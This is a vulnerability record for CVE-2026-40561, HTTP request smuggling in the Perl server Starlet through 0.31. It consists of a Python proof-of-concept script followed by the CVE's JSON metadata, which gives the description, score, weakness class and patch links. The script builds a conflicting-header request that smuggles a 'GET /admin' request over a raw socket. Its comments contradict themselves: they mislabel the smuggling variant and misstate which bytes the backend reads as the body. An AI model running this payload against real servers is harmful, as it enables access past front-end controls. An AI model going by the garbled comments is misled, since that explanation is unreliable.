CVE-2026-40561

# PoC for HTTP Request Smuggling via CL.TE vulnerability # Target: Starlet <= 0.31 # Scenario: Frontend parses TE (Transfer-Encoding), Backend (Starlet) parses CL (Content-Length) import socket def send_smuggling_request(host, port): # Constructing a request with conflicting headers # Frontend sees Transfer-Encoding: chunked, reads 0 length chunk and stops. # Backend (Starlet) sees Content-Length: 6, reads 'G', 'E', 'T', ' ', '/', ' ' as the body, # leaving the next part of the stream to be interpreted as the next request. payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Length: 6\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "GET /admin HTTP/1.1\r\n" "Host: vulnerable\r\n" "\r\n" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) response = s.recv(4096) s.close() return response.decode() # Note: Actual exploitation requires a specific frontend/backend configuration # print(send_smuggling_request("127.0.0.1", 8080))

{"cve": {"id": "CVE-2026-40561", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-03T01:15:58.390", "lastModified": "2026-05-07T17:15:58.750", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Starlet versions through 0.31 for Perl allows HTTP Request Smuggling via Improper Header Precedence.\n\nStarlet incorrectly prioritizes \"Content-Length\" over \"Transfer-Encoding: chunked\" when both headers are present in an HTTP request. Per RFC 7230 3.3.3, Transfer-Encoding must take precedence.\n\nAn attacker could exploit this to smuggle malicious HTTP requests via a front-end reverse proxy."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kazuho:starlet:*:*:*:*:*:perl:*:*", "versionEndIncluding": "0.31", "matchCriteriaId": "D7E737B0-BC8D-4FDA-A6B2-E36FC466209A"}]}]}], "references": [{"url": "https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.3", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/kazuho/Starlet/commit/a7d5dfd1862aafa43e5eaca0fdb6acf4cc15b2d0.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch"]}, {"url": "https://metacpan.org/release/KAZUHO/Starlet-0.32/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/03/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}